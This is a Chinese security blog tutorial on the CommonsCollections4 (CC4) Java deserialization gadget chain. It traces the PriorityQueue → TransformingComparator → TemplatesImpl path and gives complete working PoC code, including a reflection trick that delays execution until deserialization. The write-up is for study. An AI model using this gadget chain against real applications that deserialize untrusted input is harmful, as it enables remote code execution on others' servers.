Java反序列化CommonsCollections篇-CC4

前言

前面几条链都是CommonsCollections3中产生的反序列化漏洞,后来Apache更新了大版本4.0,也产生了反序列化漏洞。

环境搭建

  • JDK8u65
  • CommonsCollections4
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

CC4调用链分析

CC4

在之前的CC链中,有两种执行代码的方式InvokerTransformer.transform()InstantiateTransformer.transform()动态加载字节码

因为CommonsCollections4取消了InvokerTransformer 的 Serializable 继承,所以只能通过动态加载字节码的方式反序列化。

所以接下来去找谁调用了transform() 方法

找到了org.apache.commons.collections4.comparators#TransformingComparator.compare(),因为this.transformer可控

image-20240601123801402

接着找谁调用了compare()方法,找到了 PriorityQueue.readObject().siftDownUsingComparator()

image-20240601123947569

PriorityQueue.readObject()中方法调用

6

整条调用链条,其实相当于入口类变了,新加了一个类,执行代码的部分和CC3是一样的

CC4编写

执行代码的地方和CC3是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Main implements Serializable {
public static void main(String[] args) throws Exception {

//执行代码的类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());


//动态加载
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

接下来就用TransformingComparator去调用chainedTransformertransformers()方法

TransformingComparator的构造函数能直接传入transformers

image-20240601125540711

PriorityQueue的构造函数能直接传入comparator

image-20240601125701669

走到这逻辑其实就走完了,当我们运行一下,发现其实并不能正常运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class Main implements Serializable {
public static void main(String[] args) throws Exception {

//执行代码的类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());


//动态加载
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);


//调用 ChainedTransformer.transform()
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
//PriorityQueue调用TransformingComparator.compare()
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

调试代码

根据这个调用链去调试一下

6

image-20240601130436070

进入heapify()方法中我们想调用siftDown()

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--) //发现这个判断过不去
siftDown(i, (E) queue[i]);
}

image-20240601130808273

size大小最低为2的时候才能过这个判断,进入siftDown()(size表示队列中当前元素的数量)

image-20240601130816243

所以我们知道了需要至少两个元素,当我们有两个元素之后,序列化的时候执行了所有代码

image-20240601131409516

因为add()方法最终会执行到compare()方法,导致序列化的时候就运行。

image-20240601223552106

那这并不是我们想要的,我们想要他反序列化的时候执行。

修改方法如下:

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public class Main implements Serializable {
public static void main(String[] args) throws Exception {

//执行代码的类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());


//动态加载
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});


Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);




//调用 ChainedTransformer.transform()。(这里放的是ConstantTransformer<>(),目的是序列化的时候不让这条链执行)
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
//PriorityQueue调用TransformingComparator.compare()
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

//反射修改transformingComparator的值为transformer,让其反序列化的时候让链连接起来
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

参考连接

Java反序列化CommonsCollections篇(四)-摆烂的完结篇


Java反序列化CommonsCollections篇-CC4
https://sp4rks3.github.io/2024/06/01/JAVA安全/反序列化/CC4/
作者
Sp4rks3
发布于
2024年6月1日
许可协议